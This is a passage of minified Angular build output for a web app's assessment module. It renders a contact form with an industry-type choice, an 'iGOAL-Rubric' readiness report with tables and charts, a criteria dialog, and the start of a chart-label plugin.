Name"],["required",""]],[[1,"required",0],[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null],[2,"mat-input-server",null],[1,"id",0],[1,"placeholder",0],[8,"disabled",0],[8,"required",0],[1,"readonly",0],[1,"aria-describedby",0],[1,"aria-invalid",0],[1,"aria-required",0]],[[null,"input"],[null,"blur"],[null,"compositionstart"],[null,"compositionend"],[null,"focus"]],(function(e,t,n){var r=!0;return"input"===t&&(r=!1!==a.Db(e,95)._handleInput(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,95).onTouched()&&r),"compositionstart"===t&&(r=!1!==a.Db(e,95)._compositionStart()&&r),"compositionend"===t&&(r=!1!==a.Db(e,95)._compositionEnd(n.target.value)&&r),"blur"===t&&(r=!1!==a.Db(e,102)._focusChanged(!1)&&r),"focus"===t&&(r=!1!==a.Db(e,102)._focusChanged(!0)&&r),"input"===t&&(r=!1!==a.Db(e,102)._onInput()&&r),r}),null,null)),a.qb(95,16384,null,0,vt,[a.C,a.k,[2,Mt]],null,null),a.qb(96,16384,null,0,bn,[],{required:[0,"required"]},null),a.Fb(1024,null,Ct,(function(e){return[e]}),[bn]),a.Fb(1024,null,yt,(function(e){return[e]}),[vt]),a.qb(99,671744,null,0,gn,[[3,kt],[6,Ct],[8,null],[6,yt],[2,hn]],{name:[0,"name"]},null),a.Fb(2048,null,xt,null,[gn]),a.qb(101,16384,null,0,Yt,[[4,xt]],null,null),a.qb(102,999424,null,0,ur,[a.k,An.a,[6,xt],[2,ln],[2,mn],kn.a,[8,null],rr,a.x],{placeholder:[0,"placeholder"],required:[1,"required"]},null),a.Fb(2048,[[22,4],[23,4]],Ha,null,[ur]),(e()(),a.rb(104,0,null,null,1,"label",[["class","font-xbold font-26px font-xs-18px"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Industry Type "])),(e()(),a.rb(106,0,null,null,8,"mat-radio-group",[["class","flex-radio-group font-sbold mat-radio-group"],["formControlName","industry"],["role","radiogroup"]],[[2,"ng-untouched",null],[2,"ng-touched",null],[2,"ng-pristine",null],[2,"ng-dirty",null],[2,"ng-valid",null],[2,"ng-invalid",null],[2,"ng-pending",null]],null,null,null,null)),a.qb(107,1064960,null,1,Yn,[a.h],null,null),a.Gb(603979776,31,{_radios:1}),a.Fb(1024,null,yt,(function(e){return[e]}),[Yn]),a.qb(110,671744,null,0,gn,[[3,kt],[8,null],[8,null],[6,yt],[2,hn]],{name:[0,"name"]},null),a.Fb(2048,null,xt,null,[gn]),a.qb(112,16384,null,0,Yt,[[4,xt]],null,null),(e()(),a.gb(16777216,null,null,1,null,qr)),a.qb(114,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null),(e()(),a.rb(115,0,null,null,7,"div",[["class","d-flex"]],null,null,null,null,null)),(e()(),a.rb(116,0,null,null,2,"button",[["class","rounded-25px mr-2"],["color","accent"],["mat-raised-button",""],["type","button"]],[[1,"disabled",0],[2,"_mat-animation-noopable",null]],[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.navigateToStepInfo()&&a),a}),Sa.b,Sa.a)),a.qb(117,180224,null,0,la.b,[a.k,Fn.b,[2,Pn.a]],{color:[0,"color"]},null),(e()(),a.Ib(-1,0,["Back"])),(e()(),a.rb(119,0,null,null,3,"button",[["class","rounded-25px"],["color","primary"],["mat-raised-button",""],["matStepperNext",""]],[[8,"type",0],[1,"disabled",0],[2,"_mat-animation-noopable",null]],[[null,"click"]],(function(e,t,n){var r=!0;return"click"===t&&(r=!1!==a.Db(e,120)._handleClick()&&r),r}),Sa.b,Sa.a)),a.qb(120,16384,null,0,ra,[Jn],null,null),a.qb(121,180224,null,0,la.b,[a.k,Fn.b,[2,Pn.a]],{disabled:[0,"disabled"],color:[1,"color"]},null),(e()(),a.Ib(-1,0,["Next"])),(e()(),a.gb(16777216,null,null,1,null,Kr)),a.qb(124,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null)],(function(e,t){var n=t.component;e(t,2,0,0===n.selectedStep),e(t,4,0,n.selectedStep>0);var r=e(t,8,0,a.Db(t,14).selectedIndex<6,a.Db(t,14).selectedIndex>5&&a.Db(t,14).selectedIndex<8,a.Db(t,14).selectedIndex>7&&a.Db(t,14).selectedIndex<12,a.Db(t,14).selectedIndex>11&&a.Db(t,14).selectedIndex<15,a.Db(t,14).selectedIndex>14&&a.Db(t,14).selectedIndex<19,a.Db(t,14).selectedIndex>18&&a.Db(t,14).selectedIndex<23,a.Db(t,14).selectedIndex>22&&a.Db(t,14).selectedIndex<25,a.Db(t,14).selectedIndex>24);e(t,7,0,"question col-md-6 col-sm-12 col-lg-6 col-12 m-0 p-0",r);var i=e(t,13,0,a.Db(t,14).selectedIndex<6||a.Db(t,14).selectedIndex>11&&a.Db(t,14).selectedIndex<15||a.Db(t,14).selectedIndex>22&&a.Db(t,14).selectedIndex<25,a.Db(t,14).selectedIndex>5&&a.Db(t,14).selectedIndex<8||a.Db(t,14).selectedIndex>14&&a.Db(t,14).selectedIndex<19||a.Db(t,14).selectedIndex>24,a.Db(t,14).selectedIndex>7&&a.Db(t,14).selectedIndex<12||a.Db(t,14).selectedIndex>18&&a.Db(t,14).selectedIndex<23);e(t,12,0,"m-4 pt-4 px-4 w-100",i),e(t,14,0,"","bottom"),e(t,20,0,"edit"),e(t,22,0,n.assessmentForm.get("name")&&n.assessmentForm.get("email")&&n.assessmentForm.get("organization")&&n.assessmentForm.get("industry")),e(t,28,0,n.assessmentForm),e(t,48,0,""),e(t,51,0,"name"),e(t,54,0,"Name",""),e(t,72,0,""),e(t,75,0,"email"),e(t,78,0,"Email",""),e(t,96,0,""),e(t,99,0,"organization"),e(t,102,0,"Organization Name",""),e(t,110,0,"industry"),e(t,114,0,n.industryOption),e(t,117,0,"accent"),e(t,121,0,!(n.assessmentForm.get("name").valid||n.assessmentForm.get("email").valid||n.assessmentForm.get("organization").valid||n.assessmentForm.get("industry").valid),"primary"),e(t,124,0,n.questionOption)}),(function(e,t){e(t,10,0,"end"==a.Db(t,14).labelPosition,"bottom"==a.Db(t,14).labelPosition),e(t,26,0,a.Db(t,30).ngClassUntouched,a.Db(t,30).ngClassTouched,a.Db(t,30).ngClassPristine,a.Db(t,30).ngClassDirty,a.Db(t,30).ngClassValid,a.Db(t,30).ngClassInvalid,a.Db(t,30).ngClassPending),e(t,32,1,["standard"==a.Db(t,33).appearance,"fill"==a.Db(t,33).appearance,"outline"==a.Db(t,33).appearance,"legacy"==a.Db(t,33).appearance,a.Db(t,33)._control.errorState,a.Db(t,33)._canLabelFloat,a.Db(t,33)._shouldLabelFloat(),a.Db(t,33)._hasFloatingLabel(),a.Db(t,33)._hideControlPlaceholder(),a.Db(t,33)._control.disabled,a.Db(t,33)._control.autofilled,a.Db(t,33)._control.focused,"accent"==a.Db(t,33).color,"warn"==a.Db(t,33).color,a.Db(t,33)._shouldForward("untouched"),a.Db(t,33)._shouldForward("touched"),a.Db(t,33)._shouldForward("pristine"),a.Db(t,33)._shouldForward("dirty"),a.Db(t,33)._shouldForward("valid"),a.Db(t,33)._shouldForward("invalid"),a.Db(t,33)._shouldForward("pending"),!a.Db(t,33)._animationsEnabled]),e(t,46,1,[a.Db(t,48).required?"":null,a.Db(t,53).ngClassUntouched,a.Db(t,53).ngClassTouched,a.Db(t,53).ngClassPristine,a.Db(t,53).ngClassDirty,a.Db(t,53).ngClassValid,a.Db(t,53).ngClassInvalid,a.Db(t,53).ngClassPending,a.Db(t,54)._isServer,a.Db(t,54).id,a.Db(t,54).placeholder,a.Db(t,54).disabled,a.Db(t,54).required,a.Db(t,54).readonly&&!a.Db(t,54)._isNativeSelect||null,a.Db(t,54)._ariaDescribedby||null,a.Db(t,54).errorState,a.Db(t,54).required.toString()]),e(t,56,1,["standard"==a.Db(t,57).appearance,"fill"==a.Db(t,57).appearance,"outline"==a.Db(t,57).appearance,"legacy"==a.Db(t,57).appearance,a.Db(t,57)._control.errorState,a.Db(t,57)._canLabelFloat,a.Db(t,57)._shouldLabelFloat(),a.Db(t,57)._hasFloatingLabel(),a.Db(t,57)._hideControlPlaceholder(),a.Db(t,57)._control.disabled,a.Db(t,57)._control.autofilled,a.Db(t,57)._control.focused,"accent"==a.Db(t,57).color,"warn"==a.Db(t,57).color,a.Db(t,57)._shouldForward("untouched"),a.Db(t,57)._shouldForward("touched"),a.Db(t,57)._shouldForward("pristine"),a.Db(t,57)._shouldForward("dirty"),a.Db(t,57)._shouldForward("valid"),a.Db(t,57)._shouldForward("invalid"),a.Db(t,57)._shouldForward("pending"),!a.Db(t,57)._animationsEnabled]),e(t,70,1,[a.Db(t,72).required?"":null,a.Db(t,77).ngClassUntouched,a.Db(t,77).ngClassTouched,a.Db(t,77).ngClassPristine,a.Db(t,77).ngClassDirty,a.Db(t,77).ngClassValid,a.Db(t,77).ngClassInvalid,a.Db(t,77).ngClassPending,a.Db(t,78)._isServer,a.Db(t,78).id,a.Db(t,78).placeholder,a.Db(t,78).disabled,a.Db(t,78).required,a.Db(t,78).readonly&&!a.Db(t,78)._isNativeSelect||null,a.Db(t,78)._ariaDescribedby||null,a.Db(t,78).errorState,a.Db(t,78).required.toString()]),e(t,80,1,["standard"==a.Db(t,81).appearance,"fill"==a.Db(t,81).appearance,"outline"==a.Db(t,81).appearance,"legacy"==a.Db(t,81).appearance,a.Db(t,81)._control.errorState,a.Db(t,81)._canLabelFloat,a.Db(t,81)._shouldLabelFloat(),a.Db(t,81)._hasFloatingLabel(),a.Db(t,81)._hideControlPlaceholder(),a.Db(t,81)._control.disabled,a.Db(t,81)._control.autofilled,a.Db(t,81)._control.focused,"accent"==a.Db(t,81).color,"warn"==a.Db(t,81).color,a.Db(t,81)._shouldForward("untouched"),a.Db(t,81)._shouldForward("touched"),a.Db(t,81)._shouldForward("pristine"),a.Db(t,81)._shouldForward("dirty"),a.Db(t,81)._shouldForward("valid"),a.Db(t,81)._shouldForward("invalid"),a.Db(t,81)._shouldForward("pending"),!a.Db(t,81)._animationsEnabled]),e(t,94,1,[a.Db(t,96).required?"":null,a.Db(t,101).ngClassUntouched,a.Db(t,101).ngClassTouched,a.Db(t,101).ngClassPristine,a.Db(t,101).ngClassDirty,a.Db(t,101).ngClassValid,a.Db(t,101).ngClassInvalid,a.Db(t,101).ngClassPending,a.Db(t,102)._isServer,a.Db(t,102).id,a.Db(t,102).placeholder,a.Db(t,102).disabled,a.Db(t,102).required,a.Db(t,102).readonly&&!a.Db(t,102)._isNativeSelect||null,a.Db(t,102)._ariaDescribedby||null,a.Db(t,102).errorState,a.Db(t,102).required.toString()]),e(t,106,0,a.Db(t,112).ngClassUntouched,a.Db(t,112).ngClassTouched,a.Db(t,112).ngClassPristine,a.Db(t,112).ngClassDirty,a.Db(t,112).ngClassValid,a.Db(t,112).ngClassInvalid,a.Db(t,112).ngClassPending),e(t,116,0,a.Db(t,117).disabled||null,"NoopAnimations"===a.Db(t,117)._animationMode),e(t,119,0,a.Db(t,120).type,a.Db(t,121).disabled||null,"NoopAnimations"===a.Db(t,121)._animationMode)}))}function Xr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,2,"mat-icon",[["class","mat-icon notranslate"],["role","img"]],[[2,"mat-icon-inline",null],[2,"mat-icon-no-color",null]],null,null,ua.b,ua.a)),a.qb(1,9158656,null,0,da.b,[a.k,da.d,[8,null],[2,da.a],[2,a.l]],null,null),(e()(),a.Ib(2,0,[" "," "]))],(function(e,t){e(t,1,0)}),(function(e,t){e(t,0,0,a.Db(t,1).inline,"primary"!==a.Db(t,1).color&&"accent"!==a.Db(t,1).color&&"warn"!==a.Db(t,1).color),e(t,2,0,t.context.$implicit)}))}function Qr(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,4,"td",[["class","text-center"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.showCompetency(e.parent.context.index,!0)&&a),a}),null,null)),a.Fb(512,null,On.v,On.w,[a.q,a.r,a.k,a.C]),a.qb(2,278528,null,0,On.h,[On.v],{klass:[0,"klass"],ngClass:[1,"ngClass"]},null),a.Eb(3,{"bg-almost":0,"bg-half":1,"bg-unprepared":2}),(e()(),a.Ib(4,null,[" "," "]))],(function(e,t){var n=e(t,3,0,"Almost Ready"===t.context.$implicit,"Half Ready"===t.context.$implicit,"Unprepared"===t.context.$implicit);e(t,2,0,"text-center",n)}),(function(e,t){e(t,4,0,t.context.$implicit)}))}function ei(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,4,"tr",[],null,null,null,null,null)),(e()(),a.rb(1,0,null,null,1,"th",[["class","font-medium text-right"]],null,[[null,"click"]],(function(e,t,n){var a=!0;return"click"===t&&(a=!1!==e.component.showCompetency(e.context.index,!1)&&a),a}),null,null)),(e()(),a.Ib(2,null,[" "," "])),(e()(),a.gb(16777216,null,null,1,null,Qr)),a.qb(4,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null)],(function(e,t){e(t,4,0,t.context.$implicit.data)}),(function(e,t){e(t,2,0,t.context.$implicit.label)}))}function ti(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,99,"div",[["class","assessment row m-0"],["id","print-reports"],["style","min-height: 100vh;"]],null,null,null,null,null)),(e()(),a.rb(1,0,null,null,21,"div",[["class","col-md-12 col-sm-12 col-lg-6 col-12 m-0 p-0"],["id","print-reports1"]],null,null,null,null,null)),(e()(),a.rb(2,0,null,null,20,"div",[["class","classification"]],null,null,null,null,null)),(e()(),a.rb(3,0,null,null,19,"div",[["class","mx-auto"]],null,null,null,null,null)),(e()(),a.rb(4,0,null,null,18,null,null,null,null,null,null,null)),(e()(),a.rb(5,0,null,null,1,"p",[["class","font-22px font-xs-18px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" iGOAL-Rubric Reports "])),(e()(),a.rb(7,0,null,null,0,"br",[],null,null,null,null,null)),(e()(),a.rb(8,0,null,null,2,"div",[["class","mb-3 d-xl-block"]],[[4,"height","px"]],null,null,null,null)),(e()(),a.rb(9,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(10,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"]},null),(e()(),a.rb(11,0,null,null,4,"p",[["class","font-20px font-xs-16px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Your iGOAL-readiness Score: "])),(e()(),a.rb(13,0,null,null,0,"br",[],null,null,null,null,null)),(e()(),a.rb(14,0,null,null,1,"span",[["class","font-26px font-xs-22px"]],null,null,null,null,null)),(e()(),a.Ib(15,null,[" "," / 100 "])),(e()(),a.rb(16,0,null,null,4,"p",[["class","font-22px font-xs-18px font-sbold text-center mb-3"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Classification: "])),(e()(),a.gb(16777216,null,null,1,null,Xr)),a.qb(19,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null),(e()(),a.Ib(20,null,[" iGOAL-"," "])),(e()(),a.rb(21,0,null,null,1,"p",[["class","font-18px font-xs-12px font-sbold text-justify my-3 mx-3 mb-3rem"]],null,null,null,null,null)),(e()(),a.Ib(22,null,[" "," "])),(e()(),a.rb(23,0,null,null,76,"div",[["class","reports background03 col-md-12 col-sm-12 col-lg-6 col-12 m-0 p-0"]],null,null,null,null,null)),(e()(),a.rb(24,0,null,null,75,"div",[["class","reports-container"]],null,null,null,null,null)),(e()(),a.rb(25,0,null,null,74,"div",[["class","grey w-98 w-97 m-2"]],null,null,null,null,null)),(e()(),a.rb(26,0,null,null,1,"p",[["class","font-20px font-xs-16px font-sbold text-center mb-0"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Analysis "])),(e()(),a.rb(28,0,null,null,1,"p",[["class","font-20px font-xs-16px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Readiness Analysis based on innovation process "])),(e()(),a.rb(30,0,null,null,31,"div",[["class","table-responsive"]],null,null,null,null,null)),(e()(),a.rb(31,0,null,null,30,"table",[["class","table table-sm bg-white table-hover"]],null,null,null,null,null)),(e()(),a.rb(32,0,null,null,11,"thead",[],null,null,null,null,null)),(e()(),a.rb(33,0,null,null,10,"tr",[],null,null,null,null,null)),(e()(),a.rb(34,0,null,null,1,"th",[],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Global Innovation Process"])),(e()(),a.rb(36,0,null,null,1,"th",[["style","background-color: #a9d08e !important;"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Ideation process"])),(e()(),a.rb(38,0,null,null,1,"th",[["style","background-color: #f4b084 !important;"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Matching process"])),(e()(),a.rb(40,0,null,null,1,"th",[["style","background-color: #9bc2e6 !important; "]],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Design and Development"])),(e()(),a.rb(42,0,null,null,1,"th",[["style","background-color: #c9c9c9 !important;"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Commercialization"])),(e()(),a.rb(44,0,null,null,17,"tbody",[],null,null,null,null,null)),(e()(),a.rb(45,0,null,null,10,"tr",[],null,null,null,null,null)),(e()(),a.rb(46,0,null,null,1,"th",[],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Readiness percentage (%)"])),(e()(),a.rb(48,0,null,null,1,"td",[["class","font-bold text-center"]],null,null,null,null,null)),(e()(),a.Ib(49,null,[" "," "])),(e()(),a.rb(50,0,null,null,1,"td",[["class","font-bold text-center"]],null,null,null,null,null)),(e()(),a.Ib(51,null,[" "," "])),(e()(),a.rb(52,0,null,null,1,"td",[["class","font-bold text-center"]],null,null,null,null,null)),(e()(),a.Ib(53,null,[" "," "])),(e()(),a.rb(54,0,null,null,1,"td",[["class","font-bold text-center"]],null,null,null,null,null)),(e()(),a.Ib(55,null,[" "," "])),(e()(),a.rb(56,0,null,null,3,"tr",[],null,null,null,null,null)),(e()(),a.rb(57,0,null,null,1,"th",[],null,null,null,null,null)),(e()(),a.Ib(-1,null,["Group of competence"])),(e()(),a.rb(59,0,null,null,0,"td",[["class","bg-dark"],["colspan","4"]],null,null,null,null,null)),(e()(),a.gb(16777216,null,null,1,null,ei)),a.qb(61,278528,null,0,On.i,[a.N,a.K,a.q],{ngForOf:[0,"ngForOf"]},null),(e()(),a.rb(62,0,null,null,1,"p",[["class","font-20px font-xs-16px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Readiness Charts "])),(e()(),a.rb(64,0,null,null,1,"div",[["class","text-center mb-2 my-2 legend-barChart"]],null,null,null,null,null)),(e()(),a.rb(65,0,null,null,0,"img",[["alt","legend"],["src","./assets/images/legendBarChart.png"],["style","height: 20px;"]],null,null,null,null,null)),(e()(),a.rb(66,0,null,null,16,"div",[["class","row mb-2"]],null,null,null,null,null)),(e()(),a.rb(67,0,null,null,7,"div",[["class","col-sm-12 col-md-6 col-lg-6 py-2"]],null,null,null,null,null)),(e()(),a.rb(68,0,null,null,6,"mat-card",[["class","mat-card"]],[[2,"_mat-animation-noopable",null]],null,null,hr.b,hr.a)),a.qb(69,49152,null,0,mr.a,[[2,Pn.a]],null,null),(e()(),a.rb(70,0,null,0,1,"p",[["class","font-14px font-xs-12px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Ideation "])),(e()(),a.rb(72,0,null,0,2,"div",[["style","display: block"]],[[4,"height","px"]],null,null,null,null)),(e()(),a.rb(73,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(74,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"],plugins:[4,"plugins"]},null),(e()(),a.rb(75,0,null,null,7,"div",[["class","col-sm-12 col-md-6 col-lg-6 py-2"]],null,null,null,null,null)),(e()(),a.rb(76,0,null,null,6,"mat-card",[["class","mat-card"]],[[2,"_mat-animation-noopable",null]],null,null,hr.b,hr.a)),a.qb(77,49152,null,0,mr.a,[[2,Pn.a]],null,null),(e()(),a.rb(78,0,null,0,1,"p",[["class","font-14px font-xs-12px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Matching Process "])),(e()(),a.rb(80,0,null,0,2,"div",[["style","display: block"]],[[4,"height","px"]],null,null,null,null)),(e()(),a.rb(81,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(82,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"],plugins:[4,"plugins"]},null),(e()(),a.rb(83,0,null,null,16,"div",[["class","row"]],null,null,null,null,null)),(e()(),a.rb(84,0,null,null,7,"div",[["class","col-sm-12 col-md-6 col-lg-6 py-2"]],null,null,null,null,null)),(e()(),a.rb(85,0,null,null,6,"mat-card",[["class","mat-card"]],[[2,"_mat-animation-noopable",null]],null,null,hr.b,hr.a)),a.qb(86,49152,null,0,mr.a,[[2,Pn.a]],null,null),(e()(),a.rb(87,0,null,0,1,"p",[["class","font-14px font-xs-12px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Design & Development "])),(e()(),a.rb(89,0,null,0,2,"div",[["style","display: block"]],[[4,"height","px"]],null,null,null,null)),(e()(),a.rb(90,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(91,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"],plugins:[4,"plugins"]},null),(e()(),a.rb(92,0,null,null,7,"div",[["class","col-sm-12 col-md-6 col-lg-6 py-2"]],null,null,null,null,null)),(e()(),a.rb(93,0,null,null,6,"mat-card",[["class","mat-card"]],[[2,"_mat-animation-noopable",null]],null,null,hr.b,hr.a)),a.qb(94,49152,null,0,mr.a,[[2,Pn.a]],null,null),(e()(),a.rb(95,0,null,0,1,"p",[["class","font-14px font-xs-12px font-sbold text-center mb-1"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,[" Commercialization "])),(e()(),a.rb(97,0,null,0,2,"div",[["style","display: block"]],[[4,"height","px"]],null,null,null,null)),(e()(),a.rb(98,0,null,null,1,"canvas",[["baseChart",""]],null,null,null,null,null)),a.qb(99,999424,null,0,ht,[a.k,ut],{datasets:[0,"datasets"],labels:[1,"labels"],options:[2,"options"],chartType:[3,"chartType"],plugins:[4,"plugins"]},null)],(function(e,t){var n=t.component;e(t,10,0,n.radarChartData,n.radarChartLabels,n.radarChartReportOptions,n.radarChartType),e(t,19,0,n.assessment.stars),e(t,61,0,n.assessment.reports),e(t,74,0,n.barChartDataIdeation,n.barChartLabels,n.barChartOptions,n.barChartType,n.barChartPlugins),e(t,82,0,n.barChartDataMatching,n.barChartLabels,n.barChartOptions,n.barChartType,n.barChartPlugins),e(t,91,0,n.barChartDataDesign,n.barChartLabels,n.barChartOptions,n.barChartType,n.barChartPlugins),e(t,99,0,n.barChartDataCommercial,n.barChartLabels,n.barChartOptions,n.barChartType,n.barChartPlugins)}),(function(e,t){var n=t.component;e(t,8,0,n.dynHeight),e(t,15,0,n.assessment.score),e(t,20,0,n.assessment.classification),e(t,22,0,n.assessment.text),e(t,49,0,n.assessment.averageIdeation),e(t,51,0,n.assessment.averageMatching),e(t,53,0,n.assessment.averageDesign),e(t,55,0,n.assessment.averageCommercial),e(t,68,0,"NoopAnimations"===a.Db(t,69)._animationMode),e(t,72,0,n.dynBarHeight),e(t,76,0,"NoopAnimations"===a.Db(t,77)._animationMode),e(t,80,0,n.dynBarHeight),e(t,85,0,"NoopAnimations"===a.Db(t,86)._animationMode),e(t,89,0,n.dynBarHeight),e(t,93,0,"NoopAnimations"===a.Db(t,94)._animationMode),e(t,97,0,n.dynBarHeight)}))}function ni(e){return a.Jb(0,[(e()(),a.gb(16777216,null,null,1,null,Zr)),a.qb(1,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null),(e()(),a.gb(16777216,null,null,1,null,ti)),a.qb(3,16384,null,0,On.j,[a.N,a.K],{ngIf:[0,"ngIf"]},null)],(function(e,t){var n=t.component;e(t,1,0,!n.isLast),e(t,3,0,n.isLast)}),null)}function ai(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"app-assessment",[],null,null,null,ni,Nr)),a.qb(1,114688,null,0,Ir,[Er.k,Rr.e],null,null)],(function(e,t){e(t,1,0)}),null)}var ri=a.nb("app-assessment",Ir,ai,{},{},[]),ii=n("t68o"),si=a.pb({encapsulation:0,styles:[[""]],data:{}});function oi(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,6,"h2",[["class","mat-dialog-title"],["mat-dialog-title",""]],[[8,"id",0]],null,null,null,null)),a.qb(1,81920,null,0,Rr.l,[[2,Rr.k],a.k,Rr.e],null,null),(e()(),a.Ib(-1,null,[" Description and supporting criteria: "])),(e()(),a.rb(3,0,null,null,3,"button",[["aria-label","Close"],["class","close ml-auto"],["mat-dialog-close",""],["type","button"]],[[1,"aria-label",0],[1,"type",0]],[[null,"click"]],(function(e,t,n){var r=!0;return"click"===t&&(r=!1!==a.Db(e,4).dialogRef.close(a.Db(e,4).dialogResult)&&r),r}),null,null)),a.qb(4,606208,null,0,Rr.f,[[2,Rr.k],a.k,Rr.e],{ariaLabel:[0,"ariaLabel"],type:[1,"type"],dialogResult:[2,"dialogResult"]},null),(e()(),a.rb(5,0,null,null,1,"span",[["aria-hidden","true"]],null,null,null,null,null)),(e()(),a.Ib(-1,null,["\xd7"])),(e()(),a.rb(7,0,null,null,2,"mat-dialog-content",[["class","mat-typography mat-dialog-content"]],null,null,null,null,null)),a.qb(8,16384,null,0,Rr.i,[],null,null),(e()(),a.rb(9,0,null,null,0,"p",[["class","line-height-2"]],[[8,"innerHTML",1]],null,null,null,null))],(function(e,t){e(t,1,0),e(t,4,0,"Close","button","")}),(function(e,t){var n=t.component;e(t,0,0,a.Db(t,1).id),e(t,3,0,a.Db(t,4).ariaLabel||null,a.Db(t,4).type),e(t,9,0,n.content)}))}function li(e){return a.Jb(0,[(e()(),a.rb(0,0,null,null,1,"app-assessment-dialog",[],null,null,null,oi,si)),a.qb(1,114688,null,0,gr,[Rr.a],null,null)],(function(e,t){e(t,1,0)}),null)}var di=a.nb("app-assessment-dialog",gr,li,{},{},[]),ui=n("QQfA");class ci{}var hi=n("hOhj");n.d(t,"AssessmentModuleNgFactory",(function(){return mi}));var mi=a.ob(r,[],(function(e){return a.Ab([a.Bb(512,a.j,a.Z,[[8,[i.a,ri,ii.a,di]],[3,a.j],a.v]),a.Bb(4608,On.l,On.k,[a.s,[2,On.y]]),a.Bb(4608,Et,Et,[]),a.Bb(4608,Mn,Mn,[]),a.Bb(5120,Zn,Xn,[[3,Zn]]),a.Bb(4608,kn.a,kn.a,[]),a.Bb(4608,za.c,za.c,[]),a.Bb(4608,ui.a,ui.a,[ui.g,ui.c,a.j,ui.f,ui.d,a.p,a.x,On.c,Hn.b,[2,On.f]]),a.Bb(5120,ui.h,ui.i,[ui.a]),a.Bb(5120,Rr.c,Rr.d,[ui.a]),a.Bb(135680,Rr.e,Rr.e,[ui.a,a.p,[2,On.f],[2,Rr.b],Rr.c,[3,Rr.e],ui.c]),a.Bb(4608,ut,ut,[]),a.Bb(1073742336,On.b,On.b,[]),a.Bb(1073742336,Er.m,Er.m,[[2,Er.r],[2,Er.k]]),a.Bb(1073742336,ci,ci,[]),a.Bb(1073742336,yn,yn,[]),a.Bb(1073742336,vn,vn,[]),a.Bb(1073742336,Ln,Ln,[]),a.Bb(1073742336,Hn.a,Hn.a,[]),a.Bb(1073742336,kn.e,kn.e,[[2,kn.b],[2,ft.f]]),a.Bb(1073742336,mr.c,mr.c,[]),a.Bb(1073742336,oa.f,oa.f,[]),a.Bb(1073742336,An.b,An.b,[]),a.Bb(1073742336,kn.g,kn.g,[]),a.Bb(1073742336,la.c,la.c,[]),a.Bb(1073742336,Un,Un,[]),a.Bb(1073742336,da.c,da.c,[]),a.Bb(1073742336,sa,sa,[]),a.Bb(1073742336,za.d,za.d,[]),a.Bb(1073742336,Wa,Wa,[]),a.Bb(1073742336,ir,ir,[]),a.Bb(1073742336,cr,cr,[]),a.Bb(1073742336,jn,jn,[]),a.Bb(1073742336,mt,mt,[]),a.Bb(1073742336,hi.b,hi.b,[]),a.Bb(1073742336,ui.e,ui.e,[]),a.Bb(1073742336,Rr.j,Rr.j,[]),a.Bb(1073742336,r,r,[]),a.Bb(1024,Er.i,(function(){return[[{path:"",component:Ir}]]}),[])])}))},qb46:function(e,t,n){e.exports=function(e){"use strict";var t=(e=e&&e.hasOwnProperty("default")?e.default:e).helpers,n=function(){if("undefined"!=typeof window){if(window.devicePixelRatio)return window.devicePixelRatio;var e=window.screen;if(e)return(e.deviceXDPI||1)/(e.logicalXDPI||1)}return 1}(),a={toTextLines:function(e){var n,a=[];for(e=[].concat(e);e.length;)"string"==typeof(n=e.pop())?a.unshift.apply(a,n.split("\n")):Array.isArray(n)?e.push.apply(e,n):t.isNullOrUndef(e)||a.unshift(""+n);return a},toFontString:function(e){return!e||t.isNullOrUndef(e.size)||t.isNullOrUndef(e.family)?null:(e.style?e.style+" ":"")+(e.weight?e.weight+" ":"")+e.size+"px "+e.family},textSize:function(e,t,n){var a,r=[].concat(t),i=r.length,s=e.font,o=0;for(e.font=n.string,a=0;a<i;++a)o=Math.max(e.measureText(r[a]).width,o);return 